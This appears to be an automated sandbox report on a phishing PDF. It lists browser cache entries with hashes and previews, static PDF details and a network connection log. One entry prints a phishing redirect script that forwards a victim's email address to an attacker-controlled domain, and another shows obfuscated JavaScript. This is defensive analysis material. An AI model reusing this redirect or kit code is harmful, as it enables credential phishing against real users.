MD5:	CD822B7FD22C8A95A68470C795ADEA69
SHA1:	1F139981B9B47A766EFA0A61BB78ADA351F16C4B
SHA-256:	3017DF4A76DB5F01C2B99B603D88B03106DF13BCFE18E67B7C13C2341D3A67DF
SHA-512:	6F641C4B94AC03CB59A1D703B464442E21AFE5268A4A4D6F0C70DA41175AD21B4F61667AD38EA5AF7909E5B00041DA55DA6980FF8BF4C1017D33253AFE90C802
Malicious:	false
URL:	https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css
Preview:	@charset "UTF-8";/!. Bootstrap v5.3.2 (https://getbootstrap.com/). * Copyright 2011-2023 The Bootstrap Authors. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */:root,[data-bs-theme=light]{--bs-blue:#0d6efd;--bs-indigo:#6610f2;--bs-purple:#6f42c1;--bs-pink:#d63384;--bs-red:#dc3545;--bs-orange:#fd7e14;--bs-yellow:#ffc107;--bs-green:#198754;--bs-teal:#20c997;--bs-cyan:#0dcaf0;--bs-black:#000;--bs-white:#fff;--bs-gray:#6c757d;--bs-gray-dark:#343a40;--bs-gray-100:#f8f9fa;--bs-gray-200:#e9ecef;--bs-gray-300:#dee2e6;--bs-gray-400:#ced4da;--bs-gray-500:#adb5bd;--bs-gray-600:#6c757d;--bs-gray-700:#495057;--bs-gray-800:#343a40;--bs-gray-900:#212529;--bs-primary:#0d6efd;--bs-secondary:#6c757d;--bs-success:#198754;--bs-info:#0dcaf0;--bs-warning:#ffc107;--bs-danger:#dc3545;--bs-light:#f8f9fa;--bs-dark:#212529;--bs-primary-rgb:13,110,253;--bs-secondary-rgb:108,117,125;--bs-success-rgb:25,135,84;--bs-info-rgb:13,202,240;--bs-warning-rgb:255,193,7;--bs-danger-rgb:220,

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2300
Entropy (8bit):	7.802773440275103
Encrypted:	false
SSDEEP:	48:O49kH3z0jO4fptai+P2A7NA7Ve6ZjxlqnM+ExyJB0sIMvznkEwl:0H3z0zfptl+T4zqnM+730V
MD5:	126C5DEFB4F07571A780D51EF160B2F5
SHA1:	7D97B5E24568B9CFB13506E98D4CA399249C35B9
SHA-256:	D043AA4F6EEF2D8949CC3E2C7046BD139858FC4CC76A239D97A9DC8C4109C47A
SHA-512:	5DAEBED7350208CE8230749C9E5A4C4967BD9B777B0512C4141B8D1A0CEB8CD74C3CE40AD7D9F93D44487215CC26CF69871F51ABEC8B8C8E20876693A1CDBCC5
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/mxl/Wd.png
Preview:	.PNG........IHDR...x...x.....9d6.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............IDATx..kpTg....{6........3j+..!...T..:.N./....v.\{.Z.......6ej.V..uDhR:J.l.b.%... P.PR..n.$.=...!...Bv.u..f.ms.......=.... .. .. .. ....(.....#..s.....K....Y.f..9..........{-.....8+...........Af......).W.......%.><........Q.8.7.q..>.../.<.m.......>....v'..B.(.c."w.........)Z...L.`.Y.=5.D..f.5...._^...{e...#.`.S[.Zb..L.6rs..2....5...o........../.X..v.K.%.b..aIs...c.`G.^...U.CT....5.k.c%..e..z\|..z.@.S.t ....Z9.O....b[..".}0...8.m.........j...6(.."6].z.?.`...pA..K9..B+..N.......>.d..`%..../.._`....fC...\|...{.C....^.P.W..@.....7..h..~...LpI..H...\|..;....P.e...0...).~......L.z......6...-{...Qf......V...pK....._.S.....<......e.i...:.(c...%@..^.=..`-@.....<......t..v.Ot../..%.r.....n.n..%....VJ.S......+.Q)._Q.~.`.I..o..p_..D...D. ...,.`A.."X.."X.....D. ...,...,.`A.....P.../(.`...'..c...r_.o..@0..J...O.Y..l.H.......6.}L*...\|.u.....4.2L{.

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299)
Category:	dropped
Size (bytes):	80663
Entropy (8bit):	5.204798779868606
Encrypted:	false
SSDEEP:	1536:Qmw0iELO+TBR2t472RirWyKsVfK5GEfy3YJtCRv/45wZbqbXZTbYWU178:VwXza3YCl45wZODZTbYR8
MD5:	6BAF57F25796C332144ED58A2A0CD9EE
SHA1:	F7FD0F3DC84B2CF93BF81E832505A673F354E0A3
SHA-256:	82F64F62BB03C1BC1824B0F9C9E05F70DBA33E146818E63CDF5C306C8CF3DEDD
SHA-512:	5FF6240D9CA34DFE30C9CD95CB5E981823C7C0063CAD9258F8F3A0A24663401DA684844524272410673A6325FD78DB0F7E7D0FCD3844B8DB3EB9AA2613908EE8
Malicious:	false
Preview:	/!. Bootstrap v5.3.2 (https://getbootstrap.com/). * Copyright 2011-2023 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";const t=new Map,e={set(e,i,n){t.has(e)\|\|t.set(e,new Map);const s=t.get(e);s.has(i)\|\|0===s.size?s.set(i,n):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(s.keys())[0]}.`)},get:(e,i)=>t.has(e)&&t.get(e).get(i)\|\|null,remove(e,i){if(!t.has(e))return;const n=t.get(e);n.delete(i),0===n.size&&t.delete(e)}},i="transitionend",n=t=>(t&&window.CSS&&window.CSS.escape&&(t=t.replace(/#([^\s"#']+)/g,((t,e)=>`#${CSS.escape(e)}`))),t),s=t=>{t.dispatchEvent(new Event(i))},o=t=>!(!t\|\|"o

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	21
Entropy (8bit):	3.689703732199547
Encrypted:	false
SSDEEP:	3:YMb1gXMLQHY:YMeXFY
MD5:	5DA2A3FC880852D94D30E1C36942DA64
SHA1:	1FBA3A8452490F92741EAB2E2E264672459C25D7
SHA-256:	5BD3941594A0DB01B025F43A66AA85DEBFBC8EA6B708040095F388EE1656750C
SHA-512:	30640E214E98366335EF218FC14664D5EAFAEFEFD079904C77CE09109001AA90C793BCCE0E4505D1A6049AD39B11B4F9D3B3C76FF9302706C5D0B12BC3C176FC
Malicious:	false
URL:	https://api.ipify.org/?format=json
Preview:	{"ip":"8.46.123.175"}

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with very long lines (1680), with CRLF line terminators
Category:	downloaded
Size (bytes):	117163
Entropy (8bit):	5.217831701049929
Encrypted:	false
SSDEEP:	1536:3L4Ax1+euSY/B3hw8xd7FJEeDaIGTBMCl:HYQI4
MD5:	9582A2563E33CE0825A846224B7A9BA6
SHA1:	3506E810C0B05F9D2A77E9E002C4BDF96864C5BD
SHA-256:	8D462C3488B1A0E3B8E3E7A9B90F6259310489F4F49C397C91E57C88FF6F3A3D
SHA-512:	AB3DF6FE9D1F7479BD8C6FBF9940C42FD22AD0905487F037B6980DD20D0A14E5E60EF8E2B8E75010249074D4AA5EAD8205EFB40AFEF0A92E1AF6009A7F890466
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/sm/FWR0B8JIAWSHJTFRVCBHZAQQ8
Preview:	html { font-family: sans-serif; text-size-adjust: 100%; }..body { margin: 0px; }..article, aside, details, figcaption, figure, footer, header, hgroup, main, menu, nav, section, summary { display: block; }..audio, canvas, progress, video { display: inline-block; vertical-align: baseline; }..audio:not([controls]) { display: none; height: 0px; }..[hidden], template { display: none; }..a { background-color: transparent; }..a:active, a:hover { outline: 0px; }..abbr[title] { border-bottom: 1px dotted; }..b, strong { font-weight: bold; }..dfn { font-style: italic; }..h1 { font-size: 2em; margin: 0.67em 0px; }..mark { background: rgb(255, 255, 0); color: rgb(0, 0, 0); }..small { font-size: 80%; }..sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; }..sup { top: -0.5em; }..sub { bottom: -0.25em; }..img { border: 0px; }..svg:not(:root) { overflow: hidden; }..figure { margin: 1em 40px; }..hr { box-sizing: content-box; height: 0px; }..pre { overflow: auto; }..

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.689703732199547
Encrypted:	false
SSDEEP:	3:YMb1gXMLQHY:YMeXFY
MD5:	5DA2A3FC880852D94D30E1C36942DA64
SHA1:	1FBA3A8452490F92741EAB2E2E264672459C25D7
SHA-256:	5BD3941594A0DB01B025F43A66AA85DEBFBC8EA6B708040095F388EE1656750C
SHA-512:	30640E214E98366335EF218FC14664D5EAFAEFEFD079904C77CE09109001AA90C793BCCE0E4505D1A6049AD39B11B4F9D3B3C76FF9302706C5D0B12BC3C176FC
Malicious:	false
Preview:	{"ip":"8.46.123.175"}

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (567), with CRLF line terminators
Category:	downloaded
Size (bytes):	6341
Entropy (8bit):	5.114798851154897
Encrypted:	false
SSDEEP:	48:tUcqUcFRqm1YvI7Hazo/kBRoZRKZZPcAXahBG2Jz+rx/WrICZP//:tUcqUcFkm1gI7Hazo8boZRKuA5MJ
MD5:	FF6058356639256BF8831A9163C23D1E
SHA1:	77470FA9FDCC214A296B75A0519E50F789C08EE0
SHA-256:	2D0A6DCBDA10E51E78FA4BA5DA72473C28F9073B0DF7C59F7549AB55E48A94CB
SHA-512:	1DD14258725EC9F72B6F47589599D57CF72D482B7F473C12ABDBEC2C5632BF3EA24CE62AE5B55A4BEC148824B9C5AA979F7A6CE383C6EC42C36F53789587EC97
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/cxx/Y17WOGJT9PXC49QKRPCDK23RH
Preview:	{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}..:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}...form-group{margin-bottom:12px;}...c_loadingDots{line-height:0;white-space:nowrap;position:relative;visibility:hidden;}..div.c_loadingDots.c_dotsPlaying{visibility:visible;}..div.c_loadingDots div.c_loadingDot{position:absolute;left:0;bottom:0;}..div.c_loadingDots div.c_loadingFallback{position:absolute;left:0;top:0;width:100%;height:100%;background:transparent url('https://acctcdn.msauth.net/images/clear1x1.png') no-repeat center center;opacity:1;filter:alpha(opacity=100);-moz-animation:hidedotsfallback .3s linear .1s 1 normal;-ms-animation:hidedotsfallback .3s linear 0s 1 normal;-webkit-animation:hidedotsfallback .3s linear 0s 1 normal;animation:hidedotsfallback .3s linear 0s 1 normal;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-webkit-animation-fill-mode:both;animation-fill-mode:both;}..d

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	323
Entropy (8bit):	4.690359041250693
Encrypted:	false
SSDEEP:	6:PyGyw1Fa/yIE9QvVBqLsW7GCVEHCc3RSHqfUb+9hK/b:PyGxy/yIE96VBks+dEvMKfUC9Kb
MD5:	2C924ABB1E8002C2151B80BFCA459DDC
SHA1:	207D4D296750103CC0B60E83EFDB55E6B38D9B4F
SHA-256:	1DD83697C8FD83BFAD8D5E65D35CCCBADE798E554ECEB5EB6EA5ACC9A2FCCE14
SHA-512:	1626349F9A71BE4A396084B739F2B1DE3C8279B637026B80862A7BE248138376E02CCC846A0B6C98D0E822EC8CD7B62F24C57A2E799BB4BEE83828852020C92F
Malicious:	false
URL:	https://tphzc9.fergusonlatest.net/
Preview:	<script> .. var gmode ='a';.. var gg ='';.. if(gmode=='a'){.. var hash = window.location.hash;.. cleanhash = hash.replace("#", ""); ..}else{.. .. cleanhash=gg;..}.. .... var linkx="https://qxydsa4dws.cenislerge.shop/?email=";.. window.location.replace(linkx+''+cleanhash);..</script>

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2300
Entropy (8bit):	7.802773440275103
Encrypted:	false
SSDEEP:	48:O49kH3z0jO4fptai+P2A7NA7Ve6ZjxlqnM+ExyJB0sIMvznkEwl:0H3z0zfptl+T4zqnM+730V
MD5:	126C5DEFB4F07571A780D51EF160B2F5
SHA1:	7D97B5E24568B9CFB13506E98D4CA399249C35B9
SHA-256:	D043AA4F6EEF2D8949CC3E2C7046BD139858FC4CC76A239D97A9DC8C4109C47A
SHA-512:	5DAEBED7350208CE8230749C9E5A4C4967BD9B777B0512C4141B8D1A0CEB8CD74C3CE40AD7D9F93D44487215CC26CF69871F51ABEC8B8C8E20876693A1CDBCC5
Malicious:	false
Preview:	.PNG........IHDR...x...x.....9d6.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............IDATx..kpTg....{6........3j+..!...T..:.N./....v.\{.Z.......6ej.V..uDhR:J.l.b.%... P.PR..n.$.=...!...Bv.u..f.ms.......=.... .. .. .. ....(.....#..s.....K....Y.f..9..........{-.....8+...........Af......).W.......%.><........Q.8.7.q..>.../.<.m.......>....v'..B.(.c."w.........)Z...L.`.Y.=5.D..f.5...._^...{e...#.`.S[.Zb..L.6rs..2....5...o........../.X..v.K.%.b..aIs...c.`G.^...U.CT....5.k.c%..e..z\|..z.@.S.t ....Z9.O....b[..".}0...8.m.........j...6(.."6].z.?.`...pA..K9..B+..N.......>.d..`%..../.._`....fC...\|...{.C....^.P.W..@.....7..h..~...LpI..H...\|..;....P.e...0...).~......L.z......6...-{...Qf......V...pK....._.S.....<......e.i...:.(c...%@..^.=..`-@.....<......t..v.Ot../..%.r.....n.n..%....VJ.S......+.Q)._Q.~.`.I..o..p_..D...D. ...,.`A.."X.."X.....D. ...,...,.`A.....P.../(.`...'..c...r_.o..@0..J...O.Y..l.H.......6.}L*...\|.u.....4.2L{.

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/mxl/sig_op.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	87462
Entropy (8bit):	5.262148110388299
Encrypted:	false
SSDEEP:	1536:/KRUXRa8Dgwxcy2jpBNwch96SLk8Ek2BSrBGS1ia/eEk4aV2EXi8SMpQ47GKV:/u1zNwcv9qBy1HOg8SMpQ47GKV
MD5:	E6C2415C0ACE414E5153670314CE99A9
SHA1:	5A9EEAC34D86E92E5660E0F4F87204F1ED0C8FF6
SHA-256:	D8F9AFBF492E4C139E9D2BCB9BA6EF7C14921EB509FB703BC7A3F911B774EFF8
SHA-512:	DE027062931EDD07B01842EFF24FC15FDBDCAA1AF245DCD133155FABA9E0C965F0A34DC6144CE3B149BC43B4597073C792CB6DABBFC6168C63095523923BCF77
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/jx/IOI6PDFGKTOC7F7X41LO745P3
Preview:	/! jQuery v3.7.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	199333
Entropy (8bit):	5.013103448858446
Encrypted:	false
SSDEEP:	6144:mSK3Do7geTGmqEAmwROHngtMkCE9UZyBJC:w3MMeTGnEH/gjCE/C
MD5:	25930B37116B2474777D799979918568
SHA1:	4D0AE3F123CA421EC90EF3348C3B39AC655E9236
SHA-256:	B294D339F709A0620968800517ED512F5EA76A8D06959FF59F6F2EC6F3FDCDB7
SHA-512:	D3DF8EE8C3CEFAB0F214E250A11552A9C94D9374AABB7E745A9271D69C82C04ED7FD525FB0244E1BD9FC24BFCEA7A6F4384BBB86051E84A817BB2413F1017A6E
Malicious:	false
Preview:	(function(_0x5b1989,_0x4dd8dd){function _0x98c760(_0x5bc066,_0x2bfe8b,_0x3ae5a4,_0xbb2dcc,_0x1155ea){return _0x4e53(_0x5bc066- -0x2df,_0xbb2dcc);}function _0x1ee071(_0x2ccdbb,_0x588cd5,_0x21f614,_0x3e8e2f,_0x4d219a){return _0x4e53(_0x4d219a- -0x223,_0x588cd5);}function _0x397734(_0x341432,_0x204bb2,_0x5f2ec7,_0x4a4c86,_0x361db0){return _0x4e53(_0x204bb2-0x9c,_0x5f2ec7);}function _0x5ee178(_0x31a9bc,_0x5b0a99,_0x45ebe4,_0x2fd736,_0x471b52){return _0x4e53(_0x471b52- -0x106,_0x45ebe4);}function _0x1aee45(_0x3e1555,_0x40a413,_0x1c1268,_0x3e7959,_0x13fc10){return _0x4e53(_0x13fc10- -0x61,_0x40a413);}var _0x250efa=_0x5b1989();while(!![]){try{var _0x5d818c=-parseInt(_0x1ee071(0xa3,-0x21e,-0x25e,-0xd2,-0x100))/(-0x5-0x543+-0x28-0x60+0x11-0x26e)(-parseInt(_0x98c760(0x78,0x123,-0x10f,0x1ed,0x97))/(-0x10x1193+-0x1eb7+0x18260x2))+-parseInt(_0x5ee178(0x6f,0x263,0x1a7,0x8b,0x161))/(-0x1b0d+-0x1fdf+-0x3aef-0x1)(parseInt(_0x1aee45(0x17,0x27c,0x1f6,0x2e2,0x177))/(-0x10x2047+0x2592+0x1-0x547))

Static File Info

General

File type:	PDF document, version 1.4, 1 pages
Entropy (8bit):	7.758793062320264
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Rockwool-Msg-S9039587897.pdf
File size:	68'533 bytes
MD5:	50525e80399b27203de8c7d05e439abf
SHA1:	c921dd3af29858d5391691dd9d75023cce658ba6
SHA256:	30390c3a8b18830fdee4772d3f40660f3ef87a26f7ec2f4a23cea46e373eca5d
SHA512:	4d04ac8c8fe3c8295527d25a27c607f02c3f088bbd0b6b442c7618749203dd1ab4b7b9cf18707069cc0f6f3e991ca5d85e4e2b697c48217d375130729220215b
SSDEEP:	1536:iuVx+LGy6ChVzuyPxupvMYpqVpU3bnR0trbleMgr3Nc:HxW6CPu0cvMYp8pULR0T236
TLSH:	29638D70F98E5CDCF882D61DC2B9384F4E9EF96766DC64C400290B2AF107995A7A32D7
File Content Preview:	%PDF-1.4.%.....1 0 obj.<</Creator (Chromium)./Producer (Skia/PDF m127)./CreationDate (D:20241211152350+00'00')./ModDate (D:20241211152350+00'00')>>.endobj.3 0 obj.<</ca 1./BM /Normal>>.endobj.5 0 obj.<</N 3./Filter /FlateDecode./Length 293>> stream.x.}..J

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.4
Total Entropy:	7.758793
Total Bytes:	68533
Stream Entropy:	7.991787
Stream Bytes:	52191
Entropy outside Streams:	5.135087
Bytes outside Streams:	16342
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	93
endobj	93
stream	16
endstream	16
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	0
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5
4	0000000000000000	ae5346137a9e9e70ca286f401b6a4d26
6	0000000000000000	f3731e49d00616d311a6a46407f72cc5
7	302221022e2d2d2b	2d8d2bfc7a38527cefbaa31f5bfcc710
8	0000000000000000	4890aad65fc09d218ea2622232ee0113
9	0000000000000000	17b3e19593efeb4c09a755092de9d245

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 12:06:11.492239952 CET	49675	443	192.168.2.4	173.222.162.32
Dec 12, 2024 12:06:13.942833900 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:13.942919016 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:13.942991972 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:13.943289042 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:13.943311930 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.162062883 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.165770054 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.165806055 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.166898966 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.167042971 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.167823076 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.167856932 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.167907953 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.167907953 CET	443	49737	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.168009043 CET	49737	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.168200016 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.168297052 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:15.168375015 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.168592930 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:15.168626070 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.390294075 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.390855074 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:16.390914917 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.392604113 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.392685890 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:16.393812895 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:16.393906116 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.394227982 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:16.394244909 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:16.538654089 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:17.229784966 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:17.230070114 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:17.232767105 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:17.259037971 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:17.259092093 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:17.259165049 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:17.259501934 CET	49747	443	192.168.2.4	142.250.181.132
Dec 12, 2024 12:06:17.259529114 CET	443	49747	142.250.181.132	192.168.2.4
Dec 12, 2024 12:06:17.274132967 CET	49742	443	192.168.2.4	104.21.96.1
Dec 12, 2024 12:06:17.274207115 CET	443	49742	104.21.96.1	192.168.2.4
Dec 12, 2024 12:06:18.142739058 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.142803907 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:18.142935991 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.143171072 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.143276930 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:18.143351078 CET	49751	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.143352032 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.143373013 CET	443	49751	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:18.143688917 CET	49752	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:06:18.143713951 CET	443	49752	209.74.95.101	192.168.2.4
Dec 12, 2024 12:06:18.967715025 CET	443	49747	142.250.181.132	192.168.2.4
